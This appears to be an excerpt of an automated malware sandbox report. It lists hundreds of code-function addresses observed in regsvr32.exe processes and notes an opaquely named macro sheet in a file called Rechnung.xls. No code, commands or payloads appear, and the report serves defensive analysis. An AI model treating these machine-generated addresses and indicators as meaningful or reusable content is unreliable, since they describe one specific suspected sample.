Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006308	4_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001370C	4_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A10C	4_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028D10	4_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020118	4_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004B18	4_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A524	4_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015F24	4_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F328	4_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002D28	4_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E130	4_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180029134	4_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008134	4_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021738	4_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002AF38	4_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022140	4_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028348	4_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000DB4C	4_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014F50	4_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B350	4_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006954	4_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F554	4_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002975C	4_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002B564	4_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012168	4_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013568	4_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024370	4_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008370	4_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015774	4_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012378	4_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019178	4_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025180	4_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001980	4_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021588	4_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A988	4_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018190	4_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013994	4_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026B98	4_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028998	4_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001CF9C	4_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000359C	4_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001EBA0	4_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800061A0	4_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800135A6	4_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016DA8	4_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800059AC	4_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000D7AC	4_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800053B0	4_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800135B4	4_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001C1B8	4_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015BB8	4_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800025B8	4_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800207BC	4_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800085BC	4_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800015C0	4_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000FFC0	4_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800295C8	4_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800229CC	4_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E5D4	4_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002A5D8	4_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800173DC	4_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018BDC	4_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800261E0	4_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF75312B0	5_2_000007FEF75312B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF753443C	5_2_000007FEF753443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF75353FB	5_2_000007FEF75353FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7534A70	5_2_000007FEF7534A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7535E01	5_2_000007FEF7535E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7535CAD	5_2_000007FEF7535CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7536850	5_2_000007FEF7536850
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00130000	5_2_00130000
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180005C74	5_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002ACE8	5_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020118	5_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000359C	5_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E99C	5_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019628	5_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025A4C	5_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B7B2	5_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180009408	5_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023C14	5_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006414	5_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002582C	5_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B834	5_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000403C	5_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021444	5_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012044	5_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016054	5_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001705C	5_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001870	5_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F878	5_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014484	5_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015494	5_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000BC98	5_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008C9C	5_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800078A4	5_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F0A8	5_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001E4AC	5_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800048B0	5_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001ACB4	5_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800090B4	5_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800270C0	5_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800024C0	5_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800280C8	5_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800050D4	5_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800234D8	5_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800150F0	5_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012500	5_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024104	5_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A10C	5_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028D10	5_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A524	5_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002D28	5_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E130	5_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029134	5_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008134	5_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022140	5_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006954	5_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F554	5_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B564	5_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012168	5_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013568	5_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024570	5_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019178	5_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025180	5_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001980	5_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021588	5_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A988	5_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018190	5_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013994	5_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028998	5_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800061A0	5_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800135A6	5_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016DA8	5_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800059AC	5_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800135B4	5_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001C1B8	5_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800025B8	5_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800085BC	5_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800015C0	5_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800295C8	5_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800229CC	5_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E5D4	5_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002A5D8	5_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800261E0	5_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800079EC	5_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023624	5_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018628	5_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017E2C	5_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017638	5_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004E3C	5_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020E40	5_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015A64	5_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015264	5_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000A26C	5_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007678	5_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001667C	5_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012680	5_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001E88	5_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000968C	5_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022290	5_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026A90	5_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000529C	5_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020AA0	5_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022AAC	5_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007EB4	5_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800162BC	5_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800252C0	5_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001AEC8	5_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F6DC	5_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800026DC	5_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002ADC	5_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001E2F4	5_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016AF4	5_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000DEF4	5_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001DEFC	5_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006308	5_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001370C	5_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004B18	5_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015F24	5_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006B24	5_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F328	5_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021738	5_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002AF38	5_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028348	5_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000DB4C	5_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014F50	5_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B350	5_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000A758	5_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002975C	5_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024370	5_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008370	5_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015774	5_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012378	5_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026B98	5_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001CF9C	5_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001EBA0	5_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001B3A4	5_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D7AC	5_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800053B0	5_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015BB8	5_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800207BC	5_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000FFC0	5_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800173DC	5_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018BDC	5_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_002D0000	6_2_002D0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000C819	6_2_000000018000C819
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180019628	6_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180025A4C	6_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001705C	6_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180012864	6_2_0000000180012864
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180005C74	6_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800248B0	6_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800252C0	6_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800024C0	6_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180006B24	6_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180006F2C	6_2_0000000180006F2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000A758	6_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180024570	6_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000E99C	6_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001B3A4	6_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800079EC	6_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180009408	6_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180023C14	6_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180006414	6_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180023624	6_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180018628	6_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018002582C	6_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180017E2C	6_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000B834	6_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180017638	6_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000403C	6_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180004E3C	6_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180020E40	6_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180021444	6_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180012044	6_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180016054	6_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180015A64	6_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180015264	6_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000A26C	6_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180001870	6_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001F878	6_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180007678	6_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001667C	6_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180012680	6_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180014484	6_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180001E88	6_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000968C	6_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180022290	6_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180026A90	6_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180015494	6_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000BC98	6_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000529C	6_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180008C9C	6_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180020AA0	6_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800078A4	6_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001F0A8	6_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180022AAC	6_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001E4AC	6_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800048B0	6_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001ACB4	6_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180007EB4	6_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800090B4	6_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800162BC	6_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800270C0	6_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800280C8	6_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001AEC8	6_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800050D4	6_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800234D8	6_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001F6DC	6_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800026DC	6_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180002ADC	6_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018002ACE8	6_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800150F0	6_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001E2F4	6_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180016AF4	6_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000DEF4	6_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001DEFC	6_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180012500	6_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180024104	6_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180006308	6_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001370C	6_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001A10C	6_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180028D10	6_2_0000000180028D10

Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74DBD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF753BD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74D7FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF7537FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D27FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74DB3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF753B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2BD70 appears 113 times

Source: Rechnung.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE
Source: Rechnung.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE

